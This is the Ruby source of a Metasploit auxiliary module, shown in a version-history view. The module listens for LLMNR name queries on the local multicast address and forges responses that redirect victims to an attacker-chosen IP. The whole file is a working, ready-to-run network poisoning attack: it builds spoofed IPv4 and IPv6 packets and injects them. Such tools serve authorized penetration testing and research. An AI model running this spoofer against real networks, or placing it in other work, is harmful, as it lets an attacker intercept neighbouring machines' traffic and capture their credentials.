metasploit-framework/modules/auxiliary/spoof/llmnr/llmnr_response.rb

215 lines
6.0 KiB
Ruby
Raw Normal View History

2012-06-25 07:58:28 +00:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-25 07:58:28 +00:00
##
require 'msf/core'
require 'socket'
require 'ipaddr'
require 'net/dns'
2012-06-25 07:58:28 +00:00
class Metasploit3 < Msf::Auxiliary
2012-09-07 09:44:46 +00:00
include Msf::Exploit::Capture
attr_accessor :sock, :thread
2012-06-25 07:58:28 +00:00
2013-08-30 21:28:54 +00:00
def initialize
super(
2013-10-02 18:47:39 +00:00
'Name' => 'LLMNR Spoofer',
'Description' => %q{
2013-08-30 21:28:54 +00:00
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
},
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
],
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
)
register_options([
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),
OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 300]),
])
register_advanced_options([
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
2013-08-30 21:28:54 +00:00
end
dns_pkt = ::Net::DNS::Packet.parse(packet)
spoof = ::IPAddr.new(datastore['SPOOFIP'])
# Turn this packet into a response
dns_pkt.header.qr = 1
dns_pkt.question.each do |question|
name = question.qName
unless name =~ /#{datastore['REGEX']}/i
vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
next
end
if should_print_reply?(name)
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
end
# qType is not a Fixnum, so to compare it with `case` we have to
# convert it
case question.qType.to_i
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => 30,
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::A,
:address => spoof.to_s
)
when ::Net::DNS::AAAA
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => 30,
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::AAAA,
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
)
else
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping")
next
end
end
# If we didn't find anything we want to spoof, don't send any
# packets
return if dns_pkt.answer.empty?
udp = ::PacketFu::UDPHeader.new(
:udp_src => 5355,
:udp_dst => src_port,
:body => dns_pkt.data
)
udp.udp_recalc
if rhost.ipv4?
ip_pkt = ::PacketFu::IPPacket.new(
:ip_src => spoof.hton,
:ip_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
elsif rhost.ipv6?
ip_pkt = ::PacketFu::IPv6Packet.new(
:ipv6_src => spoof.hton,
:ipv6_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
2013-08-30 21:28:54 +00:00
else
# Should never get here
print_error("IP version is not 4 or 6. Failed to parse?")
return
2013-08-30 21:28:54 +00:00
end
ip_pkt.recalc
open_pcap
capture_sendto(ip_pkt, rhost.to_s, true)
close_pcap
2013-08-30 21:28:54 +00:00
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
2013-10-02 18:47:39 +00:00
r,_,_ = ::IO.select(rds,wds,eds,0.25)
2013-08-30 21:28:54 +00:00
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
2013-08-30 21:28:54 +00:00
end
end
end
# Don't spam with success, just throttle to every 10 seconds
# per host
def should_print_reply?(host)
@notified_times ||= {}
now = Time.now.utc
@notified_times[host] ||= now
last_notified = now - @notified_times[host]
if last_notified == 0 or last_notified > 10
@notified_times[host] = now
else
false
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252")
# The bind address here will determine which interface we receive
# multicast packets from. If the address is INADDR_ANY, we get them
# from all interfaces, so try to restrict if we can, but fall back
# if we can't
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
2013-08-30 21:28:54 +00:00
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
2013-08-30 21:28:54 +00:00
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
2013-08-30 21:28:54 +00:00
'LocalHost' => "0.0.0.0",
2013-10-02 18:47:39 +00:00
'LocalPort' => 5355)
2013-08-30 21:28:54 +00:00
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket
}
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
while thread.alive?
select(nil, nil, nil, 0.25)
end
self.thread.kill
self.sock.close rescue nil
end
2012-06-25 07:58:28 +00:00
end